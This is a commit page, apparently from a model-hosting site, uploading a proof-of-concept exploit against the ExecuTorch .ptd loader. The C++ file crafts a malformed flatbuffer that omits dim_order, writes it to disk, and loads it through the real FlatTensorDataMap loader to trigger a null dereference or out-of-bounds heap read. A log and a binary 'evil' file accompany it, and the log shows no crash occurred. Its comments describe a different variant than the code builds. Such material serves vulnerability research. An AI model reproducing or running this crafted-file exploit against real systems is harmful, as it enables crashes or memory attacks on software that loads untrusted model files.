Orionix03 commited on
Commit
ee60336
·
verified ·
1 Parent(s): 0b035e2

Upload 3 files

Browse files
Files changed (3) hide show
  1. asan_ptd_e2e.txt +3 -0
  2. craft_and_load_ptd.cpp +98 -0
  3. evil_nullderef.ptd +0 -0
asan_ptd_e2e.txt ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ [poc] wrote poc/evil.ptd (256 bytes)
2
+ [poc] calling get_tensor_layout("w") ...
3
+ [poc] NO CRASH (unexpected): ok=1
craft_and_load_ptd.cpp ADDED
@@ -0,0 +1,98 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // End-to-end PoC — crafts a malicious ExecuTorch .ptd and loads it through the REAL
2
+ // FlatTensorDataMap loader, triggering the heap OOB read in TensorLayout::create.
3
+ //
4
+ // The malicious .ptd has a NamedData "w" whose TensorLayout sets:
5
+ // sizes = [1,1,1,1] (dim = 4; all small positive so calculate_nbytes passes)
6
+ // dim_order = [0] (length 1)
7
+ // create_tensor_layout (flat_tensor_data_map.cpp:118-123) builds the dim_order Span with
8
+ // length dim(=4) over the 1-element dim_order buffer -> the guard at tensor_layout.cpp:54
9
+ // is a no-op -> OOB read at tensor_layout.cpp:59.
10
+ //
11
+ // The .ptd byte layout replicates extension/flat_tensor/serialize/serialize.py exactly
12
+ // (_FLATBUFFER_ALIGNMENT=16, segment_alignment=128, version=0, _insert_flatbuffer_header).
13
+
14
+ #include <flatbuffers/flatbuffers.h>
15
+
16
+ #include <executorch/extension/flat_tensor/serialize/flat_tensor_generated.h>
17
+
18
+ #include <executorch/extension/data_loader/file_data_loader.h>
19
+ #include <executorch/extension/flat_tensor/flat_tensor_data_map.h>
20
+
21
+ #include <cstdint>
22
+ #include <cstdio>
23
+ #include <cstring>
24
+ #include <string>
25
+ #include <vector>
26
+
27
+ using executorch::extension::FileDataLoader;
28
+ using executorch::extension::FlatTensorDataMap;
29
+
30
+ static uint64_t aligned_size(uint64_t n, uint64_t a) { return ((n + a - 1) / a) * a; }
31
+ static void put_u32(std::string& s, size_t off, uint32_t v) { std::memcpy(&s[off], &v, 4); }
32
+ static void append_u32(std::string& s, uint32_t v) { s.append(reinterpret_cast<char*>(&v), 4); }
33
+ static void append_u64(std::string& s, uint64_t v) { s.append(reinterpret_cast<char*>(&v), 8); }
34
+
35
+ int main(int argc, char** argv) {
36
+ const char* path = argc > 1 ? argv[1] : "evil.ptd";
37
+
38
+ // 1. Build the FlatTensor flatbuffer with the malicious TensorLayout.
39
+ flatbuffers::FlatBufferBuilder fbb;
40
+ std::vector<int32_t> sizes = {1, 1, 1, 1}; // dim = 4 (present, small positive)
41
+ // NULL-DEREF variant: omit dim_order entirely. flat_tensor.fbs marks dim_order optional
42
+ // (not (required)), so tensor_layout->dim_order() returns nullptr, and
43
+ // create_tensor_layout (flat_tensor_data_map.cpp:120) dereferences it: ->data() on null.
44
+ auto layout = flat_tensor_flatbuffer::CreateTensorLayoutDirect(
45
+ fbb, executorch_flatbuffer::ScalarType_FLOAT, &sizes, /*dim_order=*/nullptr);
46
+ auto named = flat_tensor_flatbuffer::CreateNamedDataDirect(fbb, "w", /*segment_index=*/0, layout);
47
+ std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::NamedData>> nds = {named};
48
+ std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::DataSegment>> segs = {
49
+ flat_tensor_flatbuffer::CreateDataSegment(fbb, /*offset=*/0, /*size=*/0)};
50
+ auto root = flat_tensor_flatbuffer::CreateFlatTensorDirect(fbb, /*version=*/0, &segs, &nds);
51
+ flat_tensor_flatbuffer::FinishFlatTensorBuffer(fbb, root);
52
+
53
+ std::string fb(reinterpret_cast<const char*>(fbb.GetBufferPointer()), fbb.GetSize());
54
+
55
+ // 2. Build + insert the FlatTensorHeader (serialize.py layout).
56
+ const uint64_t EXPECTED_LENGTH = 40;
57
+ const uint64_t padded_header_length = aligned_size(EXPECTED_LENGTH, 16); // 48
58
+ const uint64_t segment_base_offset =
59
+ aligned_size(fb.size() + padded_header_length, 128);
60
+
61
+ std::string header; // FlatTensorHeader::to_bytes()
62
+ header.append("FH01", 4);
63
+ append_u32(header, (uint32_t)EXPECTED_LENGTH);
64
+ append_u64(header, padded_header_length); // flatbuffer_offset
65
+ append_u64(header, (uint64_t)fb.size()); // flatbuffer_size
66
+ append_u64(header, segment_base_offset); // segment_base_offset
67
+ append_u64(header, 0); // segment_data_size
68
+ header.resize(padded_header_length, '\0'); // pad to 48
69
+
70
+ // _insert_flatbuffer_header: bump root offset, keep magic, insert header, then tail.
71
+ uint32_t root_off;
72
+ std::memcpy(&root_off, fb.data(), 4);
73
+ std::string ptd;
74
+ append_u32(ptd, root_off + (uint32_t)padded_header_length); // new root offset
75
+ ptd.append(fb, 4, 4); // "FT01" identifier
76
+ ptd.append(header); // padded header
77
+ ptd.append(fb, 8, fb.size() - 8); // remainder of flatbuffer
78
+ ptd.resize(segment_base_offset, '\0'); // pad to segment_base_offset
79
+
80
+ FILE* f = std::fopen(path, "wb");
81
+ std::fwrite(ptd.data(), 1, ptd.size(), f);
82
+ std::fclose(f);
83
+ fprintf(stderr, "[poc] wrote %s (%zu bytes)\n", path, ptd.size());
84
+
85
+ // 3. Load it through the REAL loader -> triggers the OOB read.
86
+ auto loader = FileDataLoader::from(path);
87
+ if (!loader.ok()) { fprintf(stderr, "[poc] loader open failed\n"); return 2; }
88
+ auto map = FlatTensorDataMap::load(&loader.get());
89
+ if (!map.ok()) {
90
+ fprintf(stderr, "[poc] FlatTensorDataMap::load failed err=%u\n",
91
+ (unsigned)map.error());
92
+ return 3;
93
+ }
94
+ fprintf(stderr, "[poc] calling get_tensor_layout(\"w\") ...\n");
95
+ auto tl = map->get_tensor_layout(executorch::aten::string_view{"w", 1});
96
+ fprintf(stderr, "[poc] NO CRASH (unexpected): ok=%d\n", tl.ok());
97
+ return 0;
98
+ }
evil_nullderef.ptd ADDED
Binary file (256 Bytes). View file